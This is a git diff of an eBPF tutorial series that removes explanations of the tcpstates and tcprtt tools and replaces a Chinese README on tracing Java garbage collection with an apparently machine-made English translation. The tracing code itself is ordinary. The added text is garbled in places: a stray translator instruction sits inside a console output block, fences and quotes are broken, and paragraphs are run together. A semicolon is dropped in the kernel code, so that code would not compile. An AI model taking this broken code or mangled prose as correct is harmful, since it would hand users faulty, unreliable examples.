MAX_ENTRIES); - ... -```__type(key, __u16); - __type(value, __u16); -} dports SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, struct sock *); - __type(value, __u64); -} timestamps SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); - __uint(key_size, sizeof(__u32)); - __uint(value_size, sizeof(__u32)); -} events SEC(".maps"); - -SEC("tracepoint/sock/inet_sock_set_state") -int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx) -{ - struct sock *sk = (struct sock *)ctx->skaddr; - __u16 family = ctx->family; - __u16 sport = ctx->sport; - __u16 dport = ctx->dport; - __u64 *tsp, delta_us, ts; - struct event event = {}; - - if (ctx->protocol != IPPROTO_TCP) - return 0; - - if (target_family && target_family != family) - return 0; - - if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport)) - return 0; - - if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport)) - return 0; - - tsp = bpf_map_lookup_elem(×tamps, &sk); - ts = bpf_ktime_get_ns(); - if (!tsp) - delta_us = 0; - else - delta_us = (ts - *tsp) / 1000; - - event.skaddr = (__u64)sk; - event.ts_us = ts / 1000; - event.delta_us = delta_us; - event.pid = bpf_get_current_pid_tgid() >> 32; - event.oldstate = ctx->oldstate; - event.newstate = ctx->newstate; - event.family = family; - event.sport = sport; - event.dport = dport; - bpf_get_current_comm(&event.task, sizeof(event.task)); - - if (family == AF_INET) { - bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr); - bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr); - } else { /* family == AF_INET6 */ - bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); - bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); - } - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); - - if (ctx->newstate == TCP_CLOSE) - bpf_map_delete_elem(×tamps, &sk); - else - bpf_map_update_elem(×tamps, &sk, &ts, BPF_ANY); - - return 0; -} -``` - -The `tcpstates` program relies on eBPF Tracepoints to capture the state changes of TCP connections, in order to track the time spent in each state of the TCP connection. - -### Define BPF Maps - -In the `tcpstates` program, several BPF Maps are defined, which are the primary way of interaction between the eBPF program and the user-space program. `sports` and `dports` are used to store the source and destination ports for filtering TCP connections; `timestamps` is used to store the timestamps for each TCP connection to calculate the time spent in each state; `events` is a map of type `perf_event`, used to send event data to the user-space. - -### Trace TCP Connection State Changes - -The program defines a function called `handle_set_state`, which is a program of type tracepoint and is mounted on the `sock/inet_sock_set_state` kernel tracepoint. Whenever the TCP connection state changes, this tracepoint is triggered and the `handle_set_state` function is executed. - -In the `handle_set_state` function, it first determines whether the current TCP connection needs to be processed through a series of conditional judgments, then retrieves the previous timestamp of the current connection from the `timestamps` map, and calculates the time spent in the current state. Then, the program places the collected data in an event structure and sends the event to the user-space using the `bpf_perf_event_output` function. - -### Update Timestamps - -Finally, based on the new state of the TCP connection, the program performs different operations: if the new state is TCP_CLOSE, it means the connection has been closed and the program deletes the timestamp of that connection from the `timestamps` map; otherwise, the program updates the timestamp of the connection. - -## User-Space Processing for tcpstate - -The user-space part is mainly about loading the eBPF program using libbpf and receiving event data from the kernel using perf_event: - -```c -static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { - char ts[32], saddr[26], daddr[26]; - struct event* e = data; - struct tm* tm; - int family; - time_t t; - - if (emit_timestamp) { - time(&t); - tm = localtime(&t); - strftime(ts, sizeof(ts), "%H:%M:%S", tm); - printf("%8s ", ts); - } - - inet_ntop(e->family, &e->saddr, saddr, sizeof(saddr)); - inet_ntop(e->family, &e->daddr, daddr, sizeof(daddr)); - if (wide_output) { - family = e->family == AF_INET ? 4 : 6; - printf( - "%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -> %-11s " - "%.3f\n", - e->skaddr, e->pid, e->task, family, saddr, e->sport, daddr, - e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], - (double)e->delta_us / 1000); - } else { - printf( - "%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\n", - ... -``` - -handle_event` is a callback function that is called by perf_event. It handles new events that arrive in the kernel. - -In the `handle_event` function, we first use the `inet_ntop` function to convert the binary IP address to a human-readable format. Then, based on whether the wide format is needed or not, we print different information. This information includes the timestamp of the event, source IP address, source port, destination IP address, destination port, old state, new state, and the time spent in the old state. - -This allows users to see the changes in TCP connection states and the duration of each state, helping them diagnose network issues. - -In summary, the user-space part of the processing involves the following steps: - -1. Use libbpf to load and run the eBPF program. -2. Set up a callback function to receive events sent by the kernel. -3. Process the received events, convert them into a human-readable format, and print them. - -The above is the main implementation logic of the user-space part of the `tcpstates` program. Through this chapter, you should have gained a deeper understanding of how to handle kernel events in user space. In the next chapter, we will introduce more knowledge about using eBPF for network monitoring. - -### tcprtt kernel eBPF code - -In this section, we will analyze the kernel BPF code of the `tcprtt` eBPF program. `tcprtt` is a program used to measure TCP Round Trip Time (RTT) and stores the RTT information in a histogram. - -```c -/// @sample {"interval": 1000, "type" : "log2_hist"} -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, u64); - __type(value, struct hist); -} hists SEC(".maps"); - -static struct hist zero; - -SEC("fentry/tcp_rcv_established") -int BPF_PROG(tcp_rcv, struct sock *sk) -{ - const struct inet_sock *inet = (struct inet_sock *)(sk); - struct tcp_sock *ts; - struct hist *histp; - u64 key, slot; - u32 srtt; - - if (targ_sport && targ_sport != inet->inet_sport) - return 0; - if (targ_dport && targ_dport != sk->__sk_common.skc_dport) - return 0; - if (targ_saddr && targ_saddr != inet->inet_saddr) - return 0; - if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr) - return 0; - - if (targ_laddr_hist) - key = inet->inet_saddr; - else if (targ_raddr_hist) - key = inet->sk.__sk_common.skc_daddr; - else - key = 0; - histp = bpf_map_lookup_or_try_init(&hists, &key, &zero); - if (!histp) - return 0; - ts = (struct tcp_sock *)(sk); - srtt = BPF_CORE_READ(ts, srtt_us) >> 3; - if (targ_ms) - srtt /= 1000U; - slot = log2l(srtt); - if (slot >= MAX_SLOTS) - slot = MAX_SLOTS - 1; - __sync_fetch_and_add(&histp->slots[slot], 1); - if (targ_show_ext) { - __sync_fetch_and_add(&histp->latency, srtt); - __sync_fetch_and_add(&histp->cnt, 1); - } - return 0; -} -``` - -The code above declares a map called `hists`, which is a hash map used to store the histogram data. The `hists` map has a maximum number of entries defined as `MAX_ENTRIES`. - -The function `BPF_PROG(tcp_rcv, struct sock *sk)` is the entry point of the eBPF program for handling the `tcp_rcv_established` event. Within this function, the program retrieves various information from the network socket and checks if filtering conditions are met. Then, it performs operations on the histogram data structure. Finally, the program calculates the slot for the RTT value and updates the histogram accordingly. - -This is the main code logic of the `tcprtt` eBPF program in kernel mode. The eBPF program measures the RTT of TCP connections and maintains a histogram to collect and analyze the RTT data.Instructions: - -First, we define a hash type eBPF map called `hists`, which is used to store statistics information about RTT. In this map, the key is a 64-bit integer, and the value is a `hist` structure that contains an array to store the count of different RTT intervals. - -Next, we define an eBPF program called `tcp_rcv` which will be called every time a TCP packet is received in the kernel. In this program, we first filter TCP connections based on filtering conditions (source/destination IP address and port). If the conditions are met, we select the corresponding key (source IP, destination IP, or 0) based on the set parameters, and then look up or initialize the corresponding histogram in the `hists` map. - -Then, we read the `srtt_us` field of the TCP connection, which represents the smoothed RTT value in microseconds. We convert this RTT value to a logarithmic form and store it as a slot in the histogram. - -If the `show_ext` parameter is set, we also increment the RTT value and the counter in the `latency` and `cnt` fields of the histogram. - -With the above processing, we can analyze and track the RTT of each TCP connection to better understand the network performance. - -In summary, the main logic of the `tcprtt` eBPF program includes the following steps: - -1. Filter TCP connections based on filtering conditions. -2. Look up or initialize the corresponding histogram in the `hists` map. -3. Read the `srtt_us` field of the TCP connection, convert it to a logarithmic form, and store it in the histogram. -4. If the `show_ext` parameter is set, increment the RTT value and the counter in the `latency` and `cnt` fields of the histogram. - -`tcprtt` is attached to the kernel's `tcp_rcv_established` function: - -```c -void tcp_rcv_established(struct sock *sk, struct sk_buff *skb); -``` - -This function is the main function in the kernel for processing received TCP data and is called when a TCP connection is in the `ESTABLISHED` state. The processing logic of this function includes a fast path and a slow path. The fast path is disabled in the following cases: - -- We have advertised a zero window - zero window probing can only be handled correctly in the slow path. -- Out-of-order data packets received. -- Expecting to receive urgent data. -- No remaining buffer space. -- Received unexpected TCP flags/window values/header lengths (detected by checking TCP header against the expected flags). -- Data is being transmitted in both directions. The fast path only supports pure senders or pure receivers (meaning the sequence number or acknowledgement value must remain unchanged). -- Received unexpected TCP options. - -When these conditions are not met, it enters a standard receive processing, which follows RFC 793 to handle all cases. The first three cases can be ensured by setting the correct expected flags, while the remaining cases require inline checks. When everything is normal, the fast processing path is invoked in the `tcp_data_queue` function. - -## Compilation and Execution - -For `tcpstates`, you can compile and run the libbpf application with the following command: - -```console -$ make -... - BPF .output/tcpstates.bpf.o - GEN-SKEL .output/tcpstates.skel.h - CC .output/tcpstates.o - BINARY tcpstates -$ sudo ./tcpstates -SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS -ffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000 -ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794". -format: Return only the translated content, not including the original text.``` -"ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454 -ffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793 -ffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086 -ffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193 -ffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -> LISTEN 0.000 -ffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763 -ffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000 -``` - -For tcprtt, we can use eunomia-bpf to compile and run this example: - -Compile: - -```shell -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -Or - -```console -$ ecc tcprtt.bpf.c tcprtt.h -Compiling bpf object... -Generating export types... -Packing ebpf object and config into package.json... -``` - -Run: - -```console -$ sudo ecli run package.json -h -A simple eBPF program - -Usage: package.json [OPTIONS] - -Options: - --verbose Whether to show libbpf debug information - --targ_laddr_hist Set value of `bool` variable targ_laddr_hist - --targ_raddr_hist Set value of `bool` variable targ_raddr_hist - --targ_show_ext Set value of `bool` variable targ_show_ext - --targ_sport Set value of `__u16` variable targ_sport - --targ_dport Set value of `__u16` variable targ_dport - --targ_saddr Set value of `__u32` variable targ_saddr - --targ_daddr Set value of `__u32` variable targ_daddr - --targ_ms Set value of `bool` variable targ_ms - -h, --help Print help - -V, --version Print version - -Built with eunomia-bpf framework.". -```See https://github.com/eunomia-bpf/eunomia-bpf for more information. - -$ sudo ecli run package.json -key = 0 -latency = 0 -cnt = 0 - - (unit) : count distribution - 0 -> 1 : 0 | | - 2 -> 3 : 0 | | - 4 -> 7 : 0 | | - 8 -> 15 : 0 | | - 16 -> 31 : 0 | | - 32 -> 63 : 0 | | - 64 -> 127 : 0 | | - 128 -> 255 : 0 | | - 256 -> 511 : 0 | | - 512 -> 1023 : 4 |******************** | - 1024 -> 2047 : 1 |***** | - 2048 -> 4095 : 0 | | - 4096 -> 8191 : 8 |****************************************| - -key = 0 -latency = 0 -cnt = 0 - - (unit) : count distribution - 0 -> 1 : 0 | | - 2 -> 3 : 0 | | - 4 -> 7 : 0 | | - 8 -> 15 : 0 | | - 16 -> 31 : 0 | | - 32 -> 63 : 0 | | - 64 -> 127 : 0 | | - 128 -> 255 : 0 | | - 256 -> 511 : 0 | |512 -> 1023 : 11 |*************************** | - 1024 -> 2047 : 1 |** | - 2048 -> 4095 : 0 | | - 4096 -> 8191 : 16 |****************************************| - 8192 -> 16383 : 4 |********** | -``` - -Complete source code: - -- - -References: - -- [tcpstates](https://github.com/iovisor/bcc/blob/master/tools/tcpstates_example.txt) -- [tcprtt](https://github.com/iovisor/bcc/blob/master/tools/tcprtt.py) -- [libbpf-tools/tcpstates]() - -## Summary - -In this eBPF introductory tutorial, we learned how to use the tcpstates and tcprtt eBPF example programs to monitor and analyze the connection states and round-trip time of TCP. We understood the working principles and implementation methods of tcpstates and tcprtt, including how to store data using BPF maps, how to retrieve and process TCP connection information in eBPF programs, and how to parse and display the data collected by eBPF programs in user-space applications. - -If you would like to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and complete tutorials. The upcoming tutorials will further explore advanced features of eBPF, and we will continue to share more content about eBPF development practices. - -> The original link of this article: diff --git a/src/15-javagc/.config b/src/15-javagc/.config new file mode 100644 index 00000000..e23ad1a4 --- /dev/null +++ b/src/15-javagc/.config @@ -0,0 +1 @@ +level=Advance diff --git a/src/15-javagc/README.md b/src/15-javagc/README.md index 7dd1e27f..e6e7381d 100644 --- a/src/15-javagc/README.md +++ b/src/15-javagc/README.md @@ -1,16 +1,18 @@ -# eBPF 入门实践教程十五:使用 USDT 捕获用户态 Java GC 事件耗时 +# eBPF Tutorial by Example 15: Capturing User-Space Java GC Duration Using USDT -eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能,使其在网络和系统性能分析方面具有广泛的应用。此外,eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool widely used in the Linux kernel. eBPF allows developers to dynamically load, update, and run user-defined code without the need to restart the kernel or modify the kernel source code. This feature provides eBPF with high flexibility and performance, making it widely applicable in network and system performance analysis. Furthermore, eBPF also supports capturing user-space application behavior using User-Level Statically Defined Tracing (USDT). -在我们的 eBPF 入门实践教程系列的这一篇,我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。 +In this article of our eBPF Tutorial by Example series, we will explore how to use eBPF and USDT to capture and analyze the duration of Java garbage collection (GC) events. -## USDT 介绍 +> The complete source code: -USDT 是一种在应用程序中插入静态跟踪点的机制,它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活,从而在不重启应用程序或更改程序代码的情况下,获取程序的内部状态和性能指标。USDT 在很多开源软件,如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。 +## Introduction to USDT -### 用户层面的追踪机制:用户级动态跟踪和 USDT +USDT is a mechanism for inserting static tracepoints into applications, allowing developers to insert probes at critical points in the program for debugging and performance analysis purposes. These probes can be dynamically activated at runtime by tools such as DTrace, SystemTap, or eBPF, allowing access to the program's internal state and performance metrics without the need to restart the application or modify the program code. USDT is widely used in many open-source software applications such as MySQL, PostgreSQL, Ruby, Python, and Node.js. -在用户层面进行动态跟踪,即用户级动态跟踪(User-Level Dynamic Tracing)允许我们对任何用户级别的代码进行插桩。比如,我们可以通过在 MySQL 服务器的 `dispatch_command()` 函数上进行插桩,来跟踪服务器的查询请求: +### User-Level Tracing Mechanism: User-Level Dynamic Tracing and USDT + +User-Level Dynamic Tracing allows us to instrument any user-level code by placing probes. For example, we can trace query requests in a MySQL server by placing a probe on the `dispatch_command()` function: ```bash # ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string' @@ -20,9 +22,9 @@ Tracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to en [...] ``` -这里我们使用了 `uprobe` 工具,它利用了 Linux 的内置功能:ftrace(跟踪器)和 uprobes(用户级动态跟踪,需要较新的 Linux 版本,例如 4.0 左右)。其他的跟踪器,如 perf_events 和 SystemTap,也可以实现此功能。 +Here, we use the `uprobe` tool, which leverages Linux's built-in functionalities: ftrace (tracing framework) and uprobes (User-Level Dynamic Tracing, requires a relatively new Linux version, around 4.0 or later). Other tracing frameworks such as perf_events and SystemTap can also achieve this functionality. -许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量: +Many other MySQL functions can be traced to obtain more information. We can list and count the number of these functions: ```bash # ./uprobe -l /opt/bin/mysqld | more @@ -36,17 +38,15 @@ adjust_time_range 21809 ``` -这有 21,000 个函数。我们也可以跟踪库函数,甚至是单个的指令偏移。 - -用户级动态跟踪的能力是非常强大的,它可以解决无数的问题。然而,使用它也有一些困难:需要确定需要跟踪的代码,处理函数参数,以及应对代码的更改。 +There are 21,000 functions here. We can also trace library functions or even individual instruction offsets. -用户级静态定义跟踪(User-level Statically Defined Tracing, USDT)则可以在某种程度上解决这些问题。USDT 探针(或者称为用户级 "marker")是开发者在代码的关键位置插入的跟踪宏,提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。 +User-Level Dynamic Tracing capability is very powerful and can solve numerous problems. However, using it also has some challenges: identifying the code to trace, handling function parameters, and dealing with code modifications. -使用 USDT,我们可以简单地跟踪一个名为 `mysql:query__start` 的探针,而不是去跟踪那个名为 `_Z16dispatch_command19enum_server_commandP3THDPcj` 的 C++ 符号,也就是 `dispatch_command()` 函数。当然,我们仍然可以在需要的时候去跟踪 `dispatch_command()` 以及其他 21,000 个 mysqld 函数,但只有当 USDT 探针无法解决问题的时候我们才需要这么做。 +User-Level Statically Defined Tracing (USDT) can address some of these challenges. USDT probes (or "markers" at the user level) are trace macros inserted at critical positions in the code, providing a stable and well-documented API. This makes the tracing work simpler. -在 Linux 中的 USDT,无论是哪种形式的静态跟踪点,其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注,这使得许多常见的应用程序,包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。 +With USDT, we can easily trace a probe called `mysql:query__start` instead of tracing the C++ symbol `_Z16dispatch_command19enum_server_commandP3THDPcj`, which is the `dispatch_command()` function. Of course, we can still trace `dispatch_command()` and the other 21,000 mysqld functions when needed, but only when USDT probes cannot solve the problem.In Linux, USDT (User Statically Defined Tracing) has actually existed in various forms for decades. It has recently gained attention again due to the popularity of Sun's DTrace tool, which has led to many common applications, including MySQL, PostgreSQL, Node.js, Java, etc., adding USDT support. SystemTap has developed a way to consume these DTrace probes. -你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序,或者可能需要重新编译(通常是 --enable-dtrace)。你可以使用 `readelf` 来进行检查,例如对于 Node.js: +You may be running a Linux application that already includes USDT probes, or you may need to recompile it (usually with --enable-dtrace). You can use `readelf` to check, for example, for Node.js: ```bash # readelf -n node @@ -67,23 +67,23 @@ Notes at offset 0x00c43058 with length 0x00000494: [...] ``` -这就是使用 --enable-dtrace 重新编译的 node,以及安装了提供 "dtrace" 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针:node:gc__start(开始进行垃圾回收)和 node:http__client__request。 +This is a Node.js recompiled with --enable-dtrace and installed with the systemtap-sdt-dev package that provides "dtrace" functionality to support USDT. Here are two probes displayed: node:gc__start (garbage collection start) and node:http__client__request. -在这一点上,你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而,内置的 Linux 跟踪器,比如 ftrace 和 perf_events,目前还无法做到这一点(尽管 perf_events 的支持正在开发中)。 +At this point, you can use SystemTap or LTTng to trace these probes. However, built-in Linux tracers like ftrace and perf_events currently cannot do this (although perf_events support is under development). -USDT 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。 +## Introduction to Java GC -## Java GC 介绍 +Java, as a high-level programming language, has automatic garbage collection (GC) as one of its core features. The goal of Java GC is to automatically reclaim memory space that is no longer used by the program, thereby relieving programmers of the burden of memory management. However, the GC process may cause application pauses, which can impact program performance and response time. Therefore, monitoring and analyzing Java GC events are essential for understanding and optimizing the performance of Java applications. -Java 作为一种高级编程语言,其自动垃圾回收(GC)是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间,从而减轻程序员在内存管理方面的负担。然而,GC 过程可能会引发应用程序的停顿,对程序的性能和响应时间产生影响。因此,对 Java GC 事件进行监控和分析,对于理解和优化 Java 应用的性能是非常重要的。 +In the following tutorial, we will demonstrate how to use eBPF and USDT to monitor and analyze the duration of Java GC events. We hope this content will be helpful to you in your work with eBPF for application performance analysis. -在接下来的教程中,我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时,希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。 +USDT in kernel mode eBPF runtime may also cause relatively large performance overhead. In this case, you can also consider using user mode eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime). bpftime is a user mode eBPF runtime based on LLVM JIT/AOT. It can run eBPF programs in user mode and is compatible with kernel mode eBPF, avoiding context switching between kernel mode and user mode, thereby improving the execution efficiency of eBPF programs by 10 times. -## eBPF 实现机制 +## eBPF Implementation Mechanism -Java GC 的 eBPF 程序分为内核态和用户态两部分,我们会分别介绍这两部分的实现机制。 +The eBPF program for Java GC is divided into two parts: kernel space and user space. We will introduce the implementation mechanisms of these two parts separately. -### 内核态程序 +### Kernel Space Program ```c /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ @@ -102,7 +102,7 @@ struct { } data_map SEC(".maps"); struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); + __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY) __type(key, int); __type(value, int); } perf_map SEC(".maps"); @@ -169,28 +169,26 @@ int handle_mem_pool_gc_end(struct pt_regs *ctx) char LICENSE[] SEC("license") = "Dual BSD/GPL"; ``` -首先,我们定义了两个映射(map): - -- `data_map`:这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。`data_t` 结构体包含进程 ID、CPU ID 和时间戳。 -- `perf_map`:这是一个 perf event array,用于将数据发送回用户态程序。 +First, we define two maps: -然后,我们有四个处理函数:`gc_start`、`gc_end` 和两个 USDT 处理函数 `handle_mem_pool_gc_start` 和 `handle_mem_pool_gc_end`。这些函数都用 BPF 的 `SEC("usdt")` 宏注解,以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。 +- `data_map`: This hashmap stores the start time of garbage collection for each process ID. The `data_t` structure contains the process ID, CPU ID, and timestamp. +- `perf_map`: This is a perf event array used to send data back to the user-space program. -`gc_start` 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳,然后将这些数据存入 `data_map`。 +Then, we have four handler functions: `gc_start`, `gc_end`, and two USDT handler functions `handle_mem_pool_gc_start` and `handle_mem_pool_gc_end`. These functions are all annotated with the BPF `SEC("usdt")` macro to capture USDT events related to garbage collection in a Java process. -`gc_end` 函数在垃圾收集结束时被调用。它执行与 `gc_start` 类似的操作,但是它还从 `data_map` 中检索开始时间,并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值(变量 `time`),那么它将数据发送回用户态程序。 +The `gc_start` function is called when garbage collection starts. It first gets the current CPU ID, process ID, and timestamp, and then stores this data in `data_map`. -`handle_gc_start` 和 `handle_gc_end` 是针对垃圾收集开始和结束事件的处理函数,它们分别调用了 `gc_start` 和 `gc_end`。 +The `gc_end` function is called when garbage collection ends. It performs similar operations as `gc_start`, but it also retrieves the start time from `data_map` and calculates the duration of garbage collection. If the duration exceeds a set threshold (`time` variable), it sends the data back to the user-space program. -`handle_mem_pool_gc_start` 和 `handle_mem_pool_gc_end` 是针对内存池的垃圾收集开始和结束事件的处理函数,它们也分别调用了 `gc_start` 和 `gc_end`。 +`handle_gc_start` and `handle_gc_end` are handler functions for the garbage collection start and end events, respectively, and they call `gc_start` and `gc_end`, respectively. -最后,我们有一个 `LICENSE` 数组,声明了该 BPF 程序的许可证,这是加载 BPF 程序所必需的。 +`handle_mem_pool_gc_start` and `handle_mem_pool_gc_end` are handler functions for the garbage collection start and end events in the memory pool, and they also call `gc_start` and `gc_end`, respectively.Finally, we have a `LICENSE` array that declares the license of the BPF program, which is required for loading the BPF program. -### 用户态程序 +### User-space Program -用户态程序的主要目标是加载和运行eBPF程序,以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码,只展示了与 USDT 相关的部分。 +The main goal of the user-space program is to load and run eBPF programs, as well as process data from the kernel-space program. This is achieved through the use of the libbpf library. Here, we are omitting some common code for loading and running eBPF programs and only showing the parts related to USDT. -第一个函数 `get_jvmso_path` 被用来获取运行的Java虚拟机(JVM)的 `libjvm.so` 库的路径。首先,它打开了 `/proc//maps` 文件,该文件包含了进程地址空间的内存映射信息。然后,它在文件中搜索包含 `libjvm.so` 的行,然后复制该行的路径到提供的参数中。 +The first function `get_jvmso_path` is used to obtain the path of the `libjvm.so` library for the running Java Virtual Machine (JVM). First, it opens the `/proc//maps` file, which contains the memory mapping information of the process address space. Then, it searches for the line that contains `libjvm.so` in the file and copies the path of that line to the provided argument. ```c static int get_jvmso_path(char *path) @@ -222,7 +220,7 @@ static int get_jvmso_path(char *path) } ``` -接下来,我们看到的是将 eBPF 程序(函数 `handle_gc_start` 和 `handle_gc_end`)附加到Java进程的相关USDT探针上。每个程序都通过调用 `bpf_program__attach_usdt` 函数来实现这一点,该函数的参数包括BPF程序、进程ID、二进制路径以及探针的提供者和名称。如果探针挂载成功,`bpf_program__attach_usdt` 将返回一个链接对象,该对象将存储在skeleton的链接成员中。如果挂载失败,程序将打印错误消息并进行清理。 +Next, we see the attachment of the eBPF programs (`handle_gc_start` and `handle_gc_end`) to the relevant USDT probes in the Java process. Each program achieves this by calling the `bpf_program__attach_usdt` function, which takes as parameters the BPF program, the process ID, the binary path, and the provider and name of the probe. If the probe is successfully attached, `bpf_program__attach_usdt` will return a link object, which is stored in the skeleton's link member. If the attachment fails, the program will print an error message and perform cleanup. ```c skel->links.handle_mem_pool_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, @@ -242,7 +240,7 @@ static int get_jvmso_path(char *path) } skel->links.handle_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, - binary_path, "hotspot", "gc__begin", NULL); +binary_path, "hotspot", "gc__begin", NULL); if (!skel->links.handle_gc_start) { err = errno; fprintf(stderr, "attach usdt gc__begin failed: %s\n", strerror(err)); @@ -258,7 +256,7 @@ static int get_jvmso_path(char *path) } ``` -最后一个函数 `handle_event` 是一个回调函数,用于处理从perf event array收到的数据。这个函数会被 perf event array 触发,并在每次接收到新的事件时调用。函数首先将数据转换为 `data_t` 结构体,然后将当前时间格式化为字符串,并打印出事件的时间戳、CPU ID、进程 ID,以及垃圾回收的持续时间。 +The last function `handle_event` is a callback function used to handle data received from the perf event array. This function is triggered by the perf event array and is called each time a new event is received. The function first converts the data to a `data_t` structure, then formats the current time as a string, and finally prints the timestamp, CPU ID, process ID, and duration of the garbage collection. ```c static void handle_event(void *ctx, int cpu, void *data, __u32 data_sz) @@ -275,25 +273,25 @@ static void handle_event(void *ctx, int cpu, void *data, __u32 data_sz) } ``` -## 安装依赖 +## Installing Dependencies -构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 +To build the example, you need clang, libelf, and zlib. The package names may vary with different distributions. -在 Ubuntu/Debian 上,你需要执行以下命令: +On Ubuntu/Debian, run the following command: ```shell sudo apt install clang libelf1 libelf-dev zlib1g-dev ``` -在 CentOS/Fedora 上,你需要执行以下命令: +On CentOS/Fedora, run the following command: ```shell sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel ``` -## 编译运行 +## Compiling and Running -在对应的目录中,运行 Make 即可编译运行上述代码: +In the corresponding directory, run Make to compile and run the code: ```console $ make @@ -307,21 +305,17 @@ TIME CPU PID GC TIME 10:00:05 11% 12345 50ms ``` -完整源代码: +Complete source code: - -参考资料: +References: - - -## 总结 - -通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点,以及如何编写 eBPF 程序来捕获这些跟踪点的信息,从而更深入地理解和优化 Java GC 的行为和性能。 - -此外,我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧,这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。 +Summary.Through this introductory eBPF tutorial, we have learned how to use eBPF and USDT for dynamic tracing and analysis of Java garbage collection (GC) events. We have understood how to set USDT tracepoints in user space applications and how to 